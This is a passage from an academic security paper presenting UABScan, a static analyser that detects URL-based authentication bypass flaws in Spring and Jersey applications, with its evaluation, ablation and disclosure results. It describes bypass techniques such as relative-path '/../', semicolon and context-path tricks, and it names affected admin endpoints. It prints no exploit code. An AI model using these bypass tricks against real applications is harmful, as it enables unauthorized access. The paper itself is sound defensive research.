 3 𝐶ℎ𝑒𝑐𝑘𝑆𝑡𝑚𝑡𝑠 ← ExtractURLCheckStmts(𝐶 )                                               final mapping table. Then, we identify the web framework version
 4 𝑆𝑎𝑛𝑆𝑡𝑚𝑡𝑠 ← ExtractURLSanitizeStmts(𝐶 )                                              in the target application through its dependency management file
 5 𝑆𝑎𝑛𝑖𝑡𝑖𝑧𝑒𝑟 ← PatternMatch(𝑆𝑎𝑛𝑆𝑡𝑚𝑡𝑠, 𝑆𝑎𝑛𝑃𝑠 ) ∩ 𝑅𝐹𝑒𝑎𝑡𝑢𝑟𝑒                               (e.g., pom.xml). Finally, building on the constructed mapping table
 6 foreach 𝑠 ∈ 𝑆 do                                                                    and the framework version, we can query the mapping table to
 7     𝐸𝑥𝑝𝑙𝑜𝑖𝑡𝑎𝑏𝑙𝑒 ← PatternMatch(𝐶ℎ𝑒𝑐𝑘𝑆𝑡𝑚𝑡𝑠, 𝑠 ) ∩ 𝑅𝐹𝑒𝑎𝑡𝑢𝑟𝑒                           effectively retrieve all routing features enabled by default in that
 8     𝐸𝑥𝑝𝑙𝑜𝑖𝑡𝑎𝑏𝑙𝑒 ← 𝐸𝑥𝑝𝑙𝑜𝑖𝑡𝑎𝑏𝑙𝑒 − 𝑆𝑎𝑛𝑖𝑡𝑖𝑧𝑒𝑟                                           version.
 9     if 𝐸𝑥𝑝𝑙𝑜𝑖𝑡𝑎𝑏𝑙𝑒 ≠ ∅ then
                                                                                       Configuration-based Routing Features Extraction. According
10         𝑉 𝑅 ← 𝑉 𝑅 ∪ { (𝑠, 𝐸𝑥𝑝𝑙𝑜𝑖𝑡𝑎𝑏𝑙𝑒 ) }
                                                                                       to official web framework documentation [3], developers can enable
11     end
                                                                                       or disable specific routing features through configuration. For in-
12 end
                                                                                       stance, developers can enable the arbitrary suffix matching feature
                                                                                       by setting use-suffix-pattern=true in the configuration.
                                                                                          To this end, we manually extract all configuration options related
    version and its configuration options to extract routing fea-                      to routing features from the official web framework (i.e., Spring and
    tures (ExtractRouteFeatures in line 2) from the target web                         Jersey) documentation. Specifically, we examine the descriptions
    application, thereby identifying the risky routing features.                       of each configuration item to determine whether its functionality
(2) URL Path-Centric Code Slicing (§4.3). This stage (lines 3-4) takes                 aligns with the routing features summarized in Table 2. For each
    the application code as input and performs static analysis to                      relevant option, we extract its name (e.g., use-suffix-pattern)
    extract authentication checks and sanitization statements re-                      and record all possible configuration files where it may appear (e.g.,
    garding the URL path, thereby facilitating the detection.                          application.properties). This step resulted in the identification of
(3) Pattern-Based Vulnerability Detection (§4.4). This stage (at lines                 7 relevant configuration options from Spring and 1 from Jersey,
    5-11) performs a pattern-based vulnerability detection by lever-                   and required approximately 5 man-hours. Next, we parse the target
    aging the sanitization and risky patterns derived from our study.                  application’s web configuration files and examine them against the
    Specifically, sanitization and risky patterns are each associated                  extracted configurations. Explicit feature settings are then extracted
    with a set of routing features. By matching sanitization patterns                  using regular expressions.
    with extracted sanitization statements (line 5), UABScan can                          Based on these two aspects of identification, we extract the rout-
    identify which routing features are properly processed in the                      ing features supported by the target application. This allows us to
    application (Sanitizer variable). Similarly, by matching risky                     understand its routing flexibility and identify potential inconsisten-
    patterns with extracted check statements (line 7), UABScan can                     cies in URL paths processing, laying the groundwork for detecting
    identify which routing features present a potential exploitation                   UABVulns in subsequent analysis. Notably, this extraction process
    risk (Exploitable variable). Finally, by comparing the features                    introduced no false positives or false negatives in our evaluation.
    identified by both patterns (lines 8–11), UABScan determines
    whether UABVulns exist.
                                                                                       4.3     URL Path-Centric Code Slicing
                                                                                       This step focuses on extracting the URL path-centric code for
4.2     Routing Features Extraction                                                    URL-based authentication, which is crucial for detecting potential
In this step, we aim to extract the routing features supported by                      UABVulns. Based on Finding II and Finding III, URL-based
the target web application. In practice, the routing features of the                   authentication typically involves sanitizing the URL path and then
target application comprise two key aspects: (1) the default rout-                     performing an authentication check for the URL path to determine
ing features provided by various versions of the web framework;                        if the user is accessing sensitive resources. Thus, UABScan
and (2) the routing features enabled by developers via relevant                        performs code slicing on URL path-centric statements to isolate
configurations. We therefore extract routing features from both                        the UABVuln relevant logic and eliminate the influence of
perspectives.                                                                          unrelated code (e.g., logging).
Version-based Routing Features Extraction. The different ver-
sions of a web framework support different sets of routing features                    4.3.1 URL Path Check Extraction. To locate check statements for
by default. For example, the relative-path feature is enabled by de-                   the URL path, we first identify variables that represent the value
fault in Spring versions below 5.2.7.RELEASE, while the trimming                       of the URL path (i.e., URL path variables), and then pinpoint the
feature is supported by default in versions earlier than 5.2.2.                        associated check statements that operate on these variables.
   To this end, firstly, we manually construct a mapping between                       URL Path Variables Identification. Due to the large number of
web framework (i.e., Spring and Jersey) versions and their corre-                      variables in applications and the variability in their naming conven-
sponding supported routing features. Specifically, we began from a                     tions, automatically identifying URL path variables is non-trivial.
baseline version (e.g., Spring 4.1.3.RELEASE) and only examined                        In practice, URL-based authentication logic is often encapsulated in
CCS ’25, October 13–17, 2025, Taipei                                                                Qiyi Zhang, Fengyu Liu, Zihan Lin, and Yuan Zhang


dedicated classes (e.g., the WebFilter class in Figure 1a), allowing      URL path-related API call and its corresponding argument. This
us to narrow the analysis scope. By focusing only on these classes,       structured representation facilitates precise and efficient UABVulns
we can effectively reduce interference from unrelated variables and       detection.
improve the precision of URL path variable identification.
   To this end, we first filter out classes responsible for performing    4.4    Pattern-Based Vulnerability Detection
URL-based authentication and then perform data-flow analysis to           4.4.1 Pattern-Based Vulnerability Detection. This step aims to
identify the variables associated with the URL path. Specifically,        determine whether the extracted URL-centric code slices expose
based on common patterns of URL-based authentication (e.g., im-           UABVulns by identifying mismatches between risky routing
plementing special interfaces such as Filter or Interceptor), we          features and unguarded authentication checks.
perform static analysis to extract the class inheritance hierarchy of        Since UABVulns stem from the presence of risky routing features
the target application. We then identify all classes that implement       in the application, it is essential to design two complementary
these interfaces, as they are likely to contain authentication checks.    types of patterns for detection: (1) risky patterns, which identify
Then, we leverage the natural-language semantics contained in             vulnerable authentication checks that can be bypassed by routing
class names, using commonly adopted authentication-related key-           features, and (2) sanitization patterns, which detect whether these
words (e.g., Auth, Admin) to filter classes that are likely responsible   risky features have been properly handled in the authentication
for performing authentication checks.                                     logic. However, UABVuln cannot be identified solely by inspecting
   Next, we analyze the code of these filtered classes to extract         API names. For example, in Figure 1a, the String.startsWith
variables that represent the URL path. Specifically, we first model       API (line 29) cannot be directly recognized as an authentication
the commonly used APIs for obtaining the request URL path based           bypass point based on its name alone. Instead, the risky pattern
on Java web development documentation [5] (e.g., HttpServlet              must be determined by jointly considering the API’s control-flow
Request.getRequestURI). We then identify call sites of the mod-           context (e.g., its influence on the conditional statement at line 29)
eled APIs and perform taint analysis to track URL path-relevant           and the data constraint in its argument (e.g., the path literal /admin).
data flows, recording taint-marked variables as URL path variables.       Similarly, some API calls involved in sanitization patterns impose
Check Statement Extraction. Based on the identified URL path              constraints on specific characters (e.g., checking for semicolons),
variables, we proceed to extract the corresponding URL path check         and sanitizing such characters can require combining multiple APIs.
statements. As observed in Finding II, the execution outcome of           Pattern Design. To this end, we design both risky and sanitization
authentication checks directly determines whether URL-based au-           patterns as a set of four-tuples that capture API calls along with their
thentication permits a request or enforces additional permission          associated data and control flow context. Specifically, each four-
checks. Thus, our analysis identifies all conditional statements in       tuple is defined as 〈O, A, D, C〉. The risky pattern ⟨1, .*startsWith.*,
the control-flow graph (CFG) that meet the following criteria as URL      PATH, IF⟩ in Figure 2 is derived from lines 25–35 in Figure 1a. We
path checks statements: 1 The conditional statement (or methods it        use this case to illustrate our pattern design in detail:
invokes) must operate on previously identified URL path variables,
                                                                          • Order (O) specifies the matching sequence of tuples within a
and 2 this conditional statement must govern the execution of
                                                                             pattern and aims to simplify the implementation of pattern match-
request-forwarding APIs (e.g., chain.doFilter) commonly used
                                                                             ing.
by developers to allow user requests. For instance, the conditional
                                                                          • API call (A) denotes a method invocation within a pattern, rep-
statement (at line 29) in Figure 1a satisfies these criteria.
                                                                             resented as a regular expression that captures the method name.
4.3.2 URL Path Sanitization Extraction. After identifying the URL            For instance, in Figure 1a, the invocation of String.startsWith
path check statements, we further extract the sanitization state-            (at line 29) is abstracted .*startsWith.*.
ments through backward code slicing.                                      • Data constraint (D) refers to the expected value constraint
   URL sanitization statements refer to string operations on special         imposed on the argument of an API call. For instance, in Figure 1a,
characters in URL paths. We perform inter-procedural backward                the argument of String.startsWith (at line 29) must satisfy a
code slicing starting from the extracted check statements in the             path-format constraint (e.g., /admin).
URL-based authentication. Finding III shows that URL sanitization         • Control-flow context (C) refers to how an API call within the
is typically applied before these checks to handle risky routing             pattern affects the program’s control flow, particularly its impact
features, often through specific method calls (e.g., normalize at            on conditional statements. As shown in Figure 1a, the result of the
line 28 in Figure 1a). To enable comprehensive analysis, we slice            String.startsWith call affects the execution of a conditional
all call statements involving URL-path variables. This approach              branch. Consequently, we annotate such calls with IF.
remains lightweight in practice (e.g., our experiments show that the          The risky pattern and sanitization pattern for Figure 1a are
average code slice length is 9 across the tested applications), thus      shown on the right side of Figure 2. Building on Finding II in the
incurring minimal analysis overhead while maintaining accuracy.           study, we extract risky patterns from three types of vulnerable URL
Specifically, the slicing process traces and extracts all API calls and   path checks (i.e., start with, end with, and contain) by analyzing
parameter operations that manipulate URL-path variables along             the data constraint and control flow surrounding related API calls.
the execution path.                                                       Each API call’s semantics (e.g., method name) are abstracted using
   The authentication checks and sanitization statements extracted        regular expressions. Similarly, guided by Finding III, we construct
from Figure 1 are presented on the left side of Figure 2. We represent    sanitization patterns by generalizing common sanitization opera-
them as an ordered sequence of pairs, where each pair captures a          tions, i.e., removal, replacement, and decoding. In addition, for each
Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications            CCS ’25, October 13–17, 2025, Taipei


                                                                                       • RQ4: How effective is UABScan in detecting UABVulns?
                                                 Sanitization Pattern
       Line 28: <URI.normalize, null>                                                  • RQ5: How do the different components of UABScan contribute
                                               <1, .*normalize.*, −, −>                  to its effectiveness?
       URL-path sanitization statements
                                                                                       • RQ6: How effective is UABScan compared to state-of-the-art
                                                                     Safe!
                                                                                         techniques?
    Line 29: <String.startsWith, "/admin">
                                                    Risky Pattern                      • RQ7: How severe are the security implications of the UABVulns
         URL-path check statements
                                             <1, .*startsWith.*, PATH, IF>               detected by UABScan?
        Code Slicing Extracted from                                                    • RQ8: How efficient is UABScan in performing the analysis?
         the Motivating Example


Figure 2: Example of pattern-based vulnerability detection.                            5.1     Experimental Setup
                                                                                       Implementation. We developed a prototype of UABScan target-
                                                                                       ing the Java web applications built with the Spring and Jersey Frame-
risky or sanitization pattern, we associate a set of exploitable or
                                                                                       work. To enable code slicing, we extended the taint analysis plugin
handled routing features identified in our study.
                                                                                       of Tai-e [62], a state-of-the-art static analysis framework targeting
Pattern Matching. We apply the sanitization and risky patterns to                      Java. The identification of routing features and pattern-based vul-
the extracted URL-path sanitization and check statements to detect                     nerability detection in UABScan is implemented via Python scripts.
the presence of UABVuln and identify exploitable routing features.                     In total, the prototype consists of about 2700 lines of Python code
Specifically, for each four-tuple in a pattern, we check whether the                   and 1,000 lines of Java code. All the experiments were run on a
API name in the target statement matches the specified API call                        Ubuntu 18.04 machine, equipped with 64 cores CPU and 173 GB
pattern and whether the data constraint aligns with the target API’s                   memory.
argument. For a pattern where the four-tuple labeled IF, we further
                                                                                       Dataset. In all, our dataset consists of 529 popular open-source
examine whether the matched statement performs a URL-path
                                                                                       Java web applications. Among them, 508 applications serve as the
check (i.e., whether it affects the authentication condition).
                                                                                       testing set, while the remaining 21 applications — with 24 known
Vulnerability Determination. Building on this, we determine the                        vulnerabilities — form the ground-truth set. These applications
presence of a UABVuln by checking whether any routing feature                          span a wide range of types (e.g., e-commerce, CMS, and blog) and
used in the application appears in a risky pattern but is not properly                 popularity levels (from 300 to 20,000 stars), enabling a compre-
sanitized. If such a feature exists, the application is considered                     hensive assessment of UABVulns across the open-source Java web
vulnerable.                                                                            ecosystem. The dataset construction process is detailed as follows.
4.4.2 Running Example. As shown in Figure 2, we illustrate the
pattern-based UABVuln detection process using the motivating ex-                       • Testing Set. We collected 508 Java web applications from
ample in Figure 1a, highlighting how the vulnerability is identified                     popular open-source repositories (e.g., GitHub) following the
before patching and the false positive eliminated after patching.                        steps outlined below. (1) We filtered GitHub repositories written
                                                                                         in Java with more than 300 stars, yielding 10,421 open-source
• Before patching, the code slicing did not extract any URL-path                         Java projects. (2) We then identified 1,913 Java web applications
  sanitization statements, indicating the absence of sanitization.                       by analyzing their configuration files (e.g., web.xml and
  During the detection of URL-path check statements, the API calls                       application.yml). (3) Since UABScan is implemented for the
  defined in the risky pattern (<1, .*startsWith.*, PATH, IF>)                           Spring and Jersey Framework, we further filtered 1,650 Spring
  successfully match the String.startsWith method in the target.                         and 189 Jersey applications based on specific features (e.g.,
  The argument /admin satisfies the PATH format constraint, and                          @GetMapping for Spring and @Path for Jersey), which
  the statement influences the execution of the authentication                           collectively account for 96.13% (1839/1913) of all Java web
  condition, thus meeting the matching criteria. Consequently, a                         applications in the dataset. (4) As our prototype relies on Tai-e,
  routing feature, i.e., the removal of /../, can be exploited to                        which requires Java bytecode as input, we selected 701 web
  bypass the authentication check, leading to UABVuln.                                   applications that can be automatically compiled, determined by
• After patching (line 28), the code slice additionally includes                         the successful execution of the default build command (e.g., mvn
  URL-path sanitization statements. During detection, the saniti-                        for Maven). (5) Finally, by identifying implementation
  zation pattern (<1, .*normalize.*, -, ->) successfully matches                         characteristics of URL-based authentication (e.g., Filter or
  the URI.normalize statement, indicating that the authentica-                           Interceptor classes), we identified 508 applications that adopt
  tion properly handles the routing feature corresponding to the                         URL-based authentication.
  removal of /../. Although the risky pattern still matches subse-                     • Ground-truth Set. We constructed a ground-truth set compris-
  quently, the exploited routing feature has already been addressed                      ing applications with known UABVulns. Specifically, from the 34
  by the sanitization logic. As a result, no UABVuln is reported.                        vulnerable web applications in our empirical study, we applied
                                                                                         the same selection criteria as used for the testing set and excluded
5     Evaluation                                                                         13 applications due to the following reasons: (1) 2 applications can
Our evaluation is organized by answering the following four re-                          not be compiled, and (2) 11 applications are not Spring- or Jersey-
search questions:                                                                        based web applications. As a result, the final ground-truth set
CCS ’25, October 13–17, 2025, Taipei                                                               Qiyi Zhang, Fengyu Liu, Zihan Lin, and Yuan Zhang


  Table 3: The usage of dangerous routing features (RQ4).                    Table 4: Verified Vulnerabilities of UABScan (RQ4).

      Routing-features             Vulnerable-apps   Supported-apps            Dataset          TP      FP      FN       Prec(%)       Recall(%)
       Relative-path                     22               204                 Testing Set        35      9        /       79.55%           /
       Context-path                      48               529              Ground Truth Set      21      5        3       80.77%        87.50%
         Semicolon                       40               529
                                                                                 Total           56      14       /       80.00%           /
       URL-decoding                      29               263
       Trailing-slash                     5               325
  Multiple-forward-slashes               26               450
    Custom-separator                     17               182            Vulnerability Disclosure. We responsibly reported all 59 newly
          Newline                         0                47            discovered UABVulns (i.e., 68 reported vulnerabilities, excluding
                                                                         9 verified false positives) to the developers of the affected applica-
                                                                         tions. At the time of writing, none of the reports have been rejected,
  consists of 21 real-world web applications containing 24 known         and 31 of the vulnerabilities have been assigned official CVE identi-
  UABVulns.                                                              fiers. Our disclosure process followed the standard practices recom-
                                                                         mended by CVE Numbering Authorities (CNAs), involving prompt
5.2     Effectiveness of UABScan (RQ4)                                   developer contact (via GitHub issues and email), and clear commu-
                                                                         nication of the root cause, potential exploitation, and suggested
In this experiment, we evaluated the effectiveness of UABScan in
                                                                         fixes. In some cases, developers initially struggled to understand
detecting UABVulns on two separate datasets: the testing set and
                                                                         the nature of UABVulns, especially when inconsistencies arose
the ground-truth set.
                                                                         from implicit routing behaviors. For example, the developers of
Result Overview. In total, UABScan reported 94 vulnerabilities           rebuild [28] applied an incomplete patch that failed to address all
across 529 applications, including 26 vulnerabilities in 21 ground-      affected endpoints, requiring multiple rounds of follow-up before
truth applications and 68 vulnerabilities in 51 testing set applica-     the issue was fully resolved. We continue to provide support to
tions, respectively.                                                     developers throughout the remediation process. To avoid disclosing
   We also recorded intermediate results to better understand how        any unpatched vulnerabilities, we anonymized all affected applica-
inconsistencies arise and how frequently routing features are mis-       tions and excluded any identifying technical details not yet fixed at
handled. Specifically, we identified 2529 routing features across the    the time of submission. As such, the release of this paper does not
whole dataset, of which 347 led to inconsistencies. This demon-          pose any risk to real-world users.
strates that mismatches between routing and authentication logic
                                                                         False Positive Analysis. We further analyzed the reason for the
are not isolated cases but rather a common issue in practice. As
                                                                         14 false positives, and their causes can be divided into two aspects.
shown in Table 3, a single UABVuln can often be triggered by
multiple routing features, underscoring the challenge of correctly       • 9 of the false positives were caused by the inherent limitations
handling them during authentication. Among these, context-path             of static analysis. For instance, in the hahu [4] application, the
and semicolon features are the most frequently mishandled, con-            developer uses endsWith(WHITELIST) to implement the authen-
tributing to vulnerabilities in 48 and 40 applications, respectively.      tication check, where WHITELIST is a variable sourced from a
Their widespread support and subtle parsing behaviors make them            configuration file. Existing static analysis techniques cannot track
particularly likely to be overlooked in authentication logic.              such complex data flows and thus cannot determine the value
                                                                           of WHITELIST. Consequently, UABScan is unable to accurately
Vulnerability Verification. To evaluate the accuracy of the re-            match whether a vulnerability exists based on the pattern. To
ported vulnerabilities, we conducted a thorough verification pro-          ensure a high recall rate, UABScan opted to report this as a
cess. For each application, we allocated up to three hours to set up       vulnerability, ultimately leading to a false positive.
a local runtime environment, which involves configuring required         • 5 of the false positives were caused by the inability to distinguish
services (e.g., Elasticsearch [16]), and setting up databases to en-       the developer’s design intent. For example, in the itranswarp [6],
sure the application could run correctly. For applications that failed     developers not only check the URL path to determine whether
to run initially, we made additional efforts to enable deployment,         it targets sensitive resources but also apply request throttling
including consulting documentation, reviewing public issue discus-         to specific endpoints (e.g., /static/*) as part of traffic control.
sions, and reaching out to developers when possible. After the setup,      These mechanisms similarly result in request blocking. However,
we manually crafted PoCs based on the reported routing features.           UABScan cannot differentiate between authentication checks
A PoC was considered successful if it enabled unauthorized access          and such traffic management, which leads to false positives.
to protected resources, indicating a UABVuln.
   In total, we successfully set up and verified 51 applications, in-    False Negative Analysis. For all 3 false negatives, we conducted a
cluding 21 from the ground-truth set and 30 from the testing set. As     detailed analysis and found that they are also mainly caused by the
shown in Table 4, we confirmed 21 UABVulns in the ground-truth           inherent limitations of static analysis. Specifically, when UABScan
dataset, with 5 false positives and 3 false negatives, resulting in a    performs static analysis to obtain code slices, the lambda statement
precision of 80.77% and a recall of 87.50%. In the testing set, we       in Java disrupts UABScan’s data flow analysis, preventing it from
validated 35 true positives and identified 9 false positives, yielding   extracting the complete slice. Ultimately, the incomplete code slice
a precision of 79.55%.                                                   leads to a failed pattern match, which results in false negatives.
Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications             CCS ’25, October 13–17, 2025, Taipei


Table 5: Ablation study for three variants of UABScan (RQ5).                           Table 6: Comparsion between UABScan and BypassPro (RQ6).

           Baselines                   TP           FP           Prec(%)                     Baselines        TP     FP   FN       Prec(%)       Recall(%)
       UABScan-NoExtract               56           30           65.12%                      BypassPro        15     6    44       71.43%          25.42%
       UABScan-NoFilter                56           28           66.67%                       UABScan         56     14   3        80.00%          94.92%
      UABScan-NoSanitize               56           24           70.00%
            UABScan                    56           14           80.00%
                                                                                       UABScan-NoSanitize still reports this case as a UABVuln due to
                                                                                       its lack of sanitization modeling.
5.3     Ablation Study (RQ5)
                                                                                       5.4     Comparison (RQ6)
   In this part, we conducted an ablation study to demonstrate the
effectiveness of each key component of UABScan.                                        In this part, we compare the effectiveness of UABScan with the
                                                                                       baseline tool.
Variants Setup. First, we constructed three variants of UABScan,
each of which disables a key component and uses the rest of the                        Baseline Setup. Although we made extensive efforts, we were
system as is. The details are as follows.                                              unable to find any existing white-box detection tools for UABVulns.
• UABScan-NoExtract. We assume all routing features listed in Ta-                      As an alternative, we searched open-source platforms using popular-
  ble 2 are available in the target applications and skip the version-                 ity metrics (e.g., stars) and relevant keywords (e.g., authentication
  and configuration-based feature extraction process.                                  bypass) to identify potentially related tools. Through this process,
• UABScan-NoFilter. We disable the class filtering process in taint                    we selected BypassPro [2], a black-box dynamic analysis tool, as
  analysis and track URL variables across all classes in the target                    our baseline for comparison.
  applications.                                                                           BypassPro is a dynamic UABVuln detection tool built as a Burp-
• UABScan-NoSanitize. We ignore sanitization patterns during vul-                      Suite extension [1], with nearly 900 stars on GitHub. It leverages
  nerability detection, treating all risky patterns as exploitable                     prior knowledge (e.g., common authentication bypass payloads like
  regardless of preceding sanitization logic.                                          /../) to perform black-box fuzzing on the target applications and
                                                                                       determines whether UABVulns are triggered based on response
Result Analysis. We evaluated UABScan and its ablation vari-                           status codes and content similarity. Thus, we installed the tool into
ants on 51 verified vulnerable applications (see §5.2) to assess the                   BurpSuite and used it to scan each application in the comparison
impact of each component on detection precision. Table 5 provides                      dataset to detect UABVulns.
a breakdown of the comparison results between UABScan and its                          Ground Truth Construction. To ensure a thorough evaluation,
three variants. A detailed analysis of the results is as follows:                      we use the 51 applications successfully deployed in our previous ex-
 1 UABScan-NoExtract vs. UABScan. As shown in Table 5,                                 periments as the evaluation applications. The ground truth dataset
UABScan-NoExtract resulted in an increase in false positives from                      is constructed by aggregating confirmed UABVulns from both tools
14 to 30, reducing precision by 14.88%. This is because the variant                    together with 24 known historical UABVulns. Note that each vul-
reports any matched pattern as exploitable without verifying                           nerability involved in the ground truth was meticulously examined
whether the corresponding routing feature is actually supported                        and confirmed as a true positive. We evaluate the precision and
by the target application. In many cases (e.g., forum [18]                             recall rate of each tool against this ground truth set.
application), these risky patterns involve features (e.g., arbitrary
suffix matching) that are not present in the application’s actual                      Result Overview. The comparison results between UABScan and
framework. This confirms that routing feature extraction is                            BypassPro are presented in Table 6. Overall, UABScan demonstrates
essential for identifying parsing inconsistencies and determining                      better performance, surpassing BypassPro by 8.57% in precision and
whether a risky pattern can actually lead to a UABVuln.                                69.50% in recall. These results underscore the superior capability of
 2 UABScan-NoFilter vs. UABScan. Disabling class filtering caused                      UABScan in effectively detecting UABVulns.
false positives to rise to 24, resulting in a precision drop of 13.33%.                False Positive Analysis. As shown in Table 6, UABScan surpasses
Without this filtering, taint analysis retains non-authentication                      BypassPro by 8.57% in the precision rate of UABVuln detection. We
logic (e.g., rate limiting or XSS filter), which are mistakenly treated                conducted an in-depth analysis of all the false positives reported
as URL path checks statements during the URL path-centric code                         by BypassPro and identified that the primary cause lies in the in-
slicing process (see §4.3).                                                            herent defect in their response-based oracle. It determines whether
 3 UABScan-NoSanitize vs. UABScan. Ignoring sanitization pat-                          UABVulns are triggered solely based on status codes (e.g., 200) and
terns similarly led to 28 false positives and a 10% drop in preci-                     content similarity. However, in applications like radar [8], sensitive
sion. This variant fails to account for cases where special char-                      API requests may still return a response with status code 200 even
acters (e.g., /../) are already sanitized before the authentication                    when authentication fails. Consequently, BypassPro misclassifies
check, causing the corresponding routing features to be mistak-                        such cases as successful bypasses. In contrast, although UABScan
enly considered unhandled. As a result, matched risky patterns                         does not generate PoCs, its significantly higher precision (80.00%)
are incorrectly reported as exploitable. For example, as shown in                      demonstrates its greater reliability, meaning that most reported
Figure 2, the URI.normalize statement correctly removes the /../                       cases are valid. Notably, BypassPro did not identify any additional
characters, effectively handling the relative-path feature. However,                   vulnerabilities beyond those already reported by UABScan.
CCS ’25, October 13–17, 2025, Taipei                                                               Qiyi Zhang, Fengyu Liu, Zihan Lin, and Yuan Zhang


       Table 7: Security Impact of the UABVulns (RQ7).                       attacks. As shown in Figure 5 of Appendix A, the endpoint
                                                                             /admin/rbstore/load-index neglects to validate for the type
          Type            RCE          SQLi   SSRF   XSS   Info. Leak        parameter and uses RBStore.fetchRemoteJson to send requests
                                                                             to remote addresses. Consequently, an attacker can first exploit
    # VulnApp (30)           2          2      1      5       20
                                                                             the context-path feature to bypass authentication checks and then
                                                                             reach this endpoint to launch an SSRF attack.
False Negative Analysis. The recall rate of BypassPro for                • Threat type-4: XSS. Applications such as blogging system back-
UABVuln detection is 25.42%. Our comprehensive analysis of these           ends typically provide functionalities for writing and publish-
false negatives revealed that they are primarily due to limited prior      ing articles. However, in some cases, they fail to perform any
knowledge and the lack of effective mutation strategies. BypassPro         filtering on the article content, allowing attackers to inject ma-
relies solely on a predefined set of authentication bypass payloads,       licious payloads, which may lead to stored XSS vulnerabilities.
which are insufficient to cover the range of routing features              As shown in Figure 6 of Appendix A, attackers can exploit the
identified in our study. As a result, it fails to construct URL paths      relative-path feature to bypass authentication checks and abuse
capable of triggering UABVulns. For example, in the application            the /admin/article/publish endpoint to publish malicious
my-site [7], authentication bypass can only be triggered by                content, thereby triggering a stored XSS vulnerability.
applying URL encoding to specific characters in the URL path.            • Threat type-5: Information Leak. Due to the presence of exten-
However, BypassPro lacks the necessary prior knowledge and                 sive sensitive information related to user identities and manage-
mutation capability to generate such inputs, ultimately leading to         ment configurations in the application backend, UABVuln allows
false negatives.                                                           direct access to this sensitive data, posing a serious threat to user
                                                                           privacy. Figure 7 of Appendix A demonstrates how an attacker
5.5     Security Impact and Case Study (RQ7)                               can exploit the context-path feature to bypass authentication
While URL-based authentication is not the only access control              checks and retrieve all user information via the /user/get.do
mechanism used in web applications [47, 54], real-world applica-           endpoint.
tions commonly include sensitive endpoints that rely solely on it
for protection. In this part, we assess the security risks posed by      5.6     Efficiency and Scalability (RQ8)
such endpoints, showing that bypassing URL-based authentication
                                                                         We evaluated the performance of UABScan in conducting end-to-
can grant attackers direct access to functionality such as viewing
                                                                         end analysis across the entire dataset. Overall, UABScan success-
private data, modifying critical resources, or invoking backend op-
                                                                         fully completed the analysis of 529 applications in 32.51 hours. This
erations, potentially resulting in more serious consequences. To
                                                                         resulted in an average analysis time of 3.69 minutes per application.
this end, we manually analyzed 30 vulnerable applications sampled
                                                                         We believe the analysis time is reasonable and falls well within
from the verified UABVulns identified in §5.2, aiming to compre-
                                                                         acceptable limits.
hensively evaluate the potential security impacts caused by the
                                                                            Moreover, in terms of scalability, UABScan demonstrates impres-
detected UABVulns. As shown in Table 7, we classify the security
                                                                         sive performance for analyzing applications at scale. Existing static
impact of UABVulns into five categories based on the common
                                                                         analysis approaches typically evaluate only around 20 applications
weakness enumeration [14].
                                                                         [47, 56]. By contrast, UABScan successfully analyzed 529 Java web
• Threat type-1: RCE. The application backend often provides             applications—over 20x more than prior works—through a largely
  code execution capabilities, e.g., SpEL code [30], Groovy code [20].   automated and efficient workflow, highlighting its practicality and
  However, insufficient input filtering or the absence of sandbox        robustness in large-scale analysis.
  protection can lead to RCE vulnerabilities. As shown in Figure 3
  of Appendix A, the endpoint /dataSetParam/verification ex-             6     Discussion
  poses an expression execution functionality and lacks input vali-
  dation. Attackers can exploit the context-path feature to bypass       Generalization and Scope. We implemented UABScan on two
  authentication checks and launch an RCE attack.                        representative Java web frameworks (Spring and Jersey), which to-
                                                                         gether account for over 85% of Java web applications in our dataset.
• Threat type-2: SQL Injection. For database-backed applica-             Our large-scale evaluation across 529 applications demonstrates
  tions, their backend business involves extensive interactions with     the effectiveness of UABScan in detecting UABVulns in real-world
  the database, where input validation flaws are more prevalent          settings. Although the current implementation targets only these
  compared to pre-auth vulnerabilities [45]. As shown in Figure 4        two frameworks, the detection patterns in UABScan are defined
  of Appendix A, the /cgReportController endpoint lacks input            in terms of routing features rather than framework-specific APIs.
  validation. By exploiting the relative-path feature to bypass au-      As confirmed by our study (see §3.2), many routing features (e.g.,
  thentication, attackers can access this endpoint and subsequently      semicolon) are shared across frameworks, enabling pattern reuse
  trigger an SQL injection vulnerability.                                with minimal adaptation. This design allows UABScan to be easily
• Threat type-3: SSRF. Similar to other injection-based vulner-          extended to other frameworks with only modest manual effort.
  abilities, when developers use network request APIs to fetch              To evaluate whether UABVulns extend beyond the Java ecosys-
  content from remote addresses without properly validating the          tem, we manually analyzed two widely used frameworks from other
  request URL, attackers can exploit this weakness to launch SSRF        web programming ecosystems: Laravel [26] (PHP) and Express [17]
Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications                    CCS ’25, October 13–17, 2025, Taipei


(Node.js), spending approximately four hours in total. We found                        uncovering URL-based authentication vulnerabilities, specifically
that these frameworks only support basic URL handling operations,                      those caused by inconsistencies between routing and authentication
such as percent-decoding and regex-based routing, and lack the                         modules in web applications.
complex routing features seen in Java web frameworks. As a result,                     Path Traversal Attacks. Path traversal attacks, also known as
UABVulns appear to be uncommon in PHP or Node.js applications.                         directory traversal, are a well-studied class of vulnerabilities that
                                                                                       allow attackers to manipulate file paths (e.g., using ../) to access
Limitation of Static Analysis. Our tool UABScan is based on                            unauthorized files or directories on the server’s filesystem [27,
static analysis, hence it may exhibit some inaccuracies due to the                     39, 68]. These attacks primarily target file I/O operations, such
challenges inherent in handling complex features of Java. For exam-                    as reading or modifying application files, credentials, or system
ple, dynamic features complicate solving parameter values. Experi-                     configurations, and typically stem from insufficient sanitization of
mental results demonstrate that UABScan achieves a reasonable                          user-controlled path variables passed to file-handling APIs [27]. In
detection accuracy (80.00%), enabling large-scale evaluations. We                      contrast, the relative-path feature discussed in Section 2.2.1 does
plan to integrate dynamic analysis techniques to automatically                         not involve filesystem access. Instead, it exploits the flexibility of
validate vulnerabilities and construct concrete attack URLs.                           routing logic in resolving URL paths, i.e., their ability to normalize
                                                                                       relative path components, to bypass URL-based authentication and
                                                                                       reach protected HTTP handlers.
7    Related Work
                                                                                       Sanitization Inconsistency Vulnerabilities. Another line of re-
Broken Access Control Vulnerability Detection. Prior                                   search [42, 43, 46, 51] investigates sanitization inconsistency vulner-
works [44, 47, 54, 55, 58–61, 69] have explored various types of                       abilities, which arise when different components of a system apply
